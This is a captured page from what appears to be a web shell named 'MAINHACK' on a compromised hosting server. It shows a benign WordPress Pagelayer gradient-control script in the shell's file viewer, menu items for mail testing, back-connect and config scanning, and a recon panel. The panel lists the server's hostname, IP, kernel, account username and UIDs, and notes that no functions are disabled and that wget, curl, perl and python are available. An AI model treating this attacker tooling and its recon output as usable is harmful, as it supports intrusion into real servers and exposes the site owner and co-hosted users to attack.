[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: gradient.js
File is not writable. Editing disabled.
import { __ } from '@wordpress/i18n'; import { useRef } from '@wordpress/element'; import { ColorPickerControl } from './color'; import { LabelControl } from './label'; export const GradientControl = (props) => { const { prop, value, setAttributes } = props; const { name } = prop['c']; const globalDivOne = useRef(null) const globalDivTwo = useRef(null) const globalDivThree = useRef(null) var val = !pagelayer_empty(value) ? value : ['', '', '', '', '', '', '']; if (pagelayer_is_string(val)) { val = val.split(','); } const handleInputChange = (index, newValue) => { const newValues = [...val]; newValues[index] = newValue; setAttributes({ [name]: newValues.toString() }); }; return ( <div className="components-base-control pagelayer-base-control"> <LabelControl {...props} /> <div className="pagelayer-elp-gradient-div"> <div className="pagelayer-elp-gradient-div"> <div className="pagelayer-elp-prop-grp pagelayer-elp-gradient-angle"> <label className="pagelayer-elp-label">{ __('Angle') }</label> <input className="pagelayer-elp-gradient-input pagelayer-elp-gradient-angle" type="number" max="360" min="0" step="1" onChange={(e) => handleInputChange(0, parseFloat(e.target.value))} value={val[0]} ></input> </div> <div className="pagelayer-elp-prop-grp pagelayer-elp-gradient-color" ref={globalDivOne}> <label className="pagelayer-elp-label">{ __('Color') } 1</label> <ColorPickerControl onChange={(color) => handleInputChange(1, color)} value={val[1]} type={prop.type} setAttributes={setAttributes} handleClick={(color) => handleInputChange(1, '$'+color)} showRemoveIcon={ false } /> </div> <div className="pagelayer-elp-prop-grp pagelayer-elp-gradient-per1" > <label className="pagelayer-elp-label">{ __('Percentage') } 1</label> <input className="pagelayer-elp-gradient-input" type="number" max="100" min="-100" step="1" onChange={(e) => handleInputChange(2, parseFloat(e.target.value))} value={val[2]} ></input> </div> <div className="pagelayer-elp-prop-grp pagelayer-elp-gradient-color" ref={globalDivTwo}> <label className="pagelayer-elp-label">{ __('Color') } 2</label> <ColorPickerControl onChange={(color) => handleInputChange(3, color)} value={val[3]} type={prop.type} setAttributes={setAttributes} handleClick={(color) => handleInputChange(3, '$'+color)} showRemoveIcon={ false } /> </div> <div className="pagelayer-elp-prop-grp pagelayer-elp-gradient-per2"> <label className="pagelayer-elp-label">{ __('Percentage') } 2</label> <input className="pagelayer-elp-gradient-input pagelayer-elp-gradient-per2" type="number" max="100" min="0" step="1" onChange={(e) => handleInputChange(4, parseFloat(e.target.value))} value={val[4]} ></input> </div> <div className="pagelayer-elp-prop-grp pagelayer-elp-gradient-color" ref={globalDivThree}> <label className="pagelayer-elp-label">{ __('Color') } 3</label> <ColorPickerControl onChange={(color) => handleInputChange(5, color)} value={val[5]} type={prop.type} setAttributes={setAttributes} handleClick={(color) => handleInputChange(5, '$'+color)} showRemoveIcon={ false } /> </div> <div className="pagelayer-elp-prop-grp pagelayer-elp-gradient-per3"> <label className="pagelayer-elp-label">{ __('Percentage') } 3</label> <input className="pagelayer-elp-gradient-input pagelayer-elp-gradient-per3" type="number" max="100" min="0" step="1" onChange={(e) => handleInputChange(6, parseFloat(e.target.value))} value={val[6]} ></input> </div> </div> </div> </div> ) }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: N/A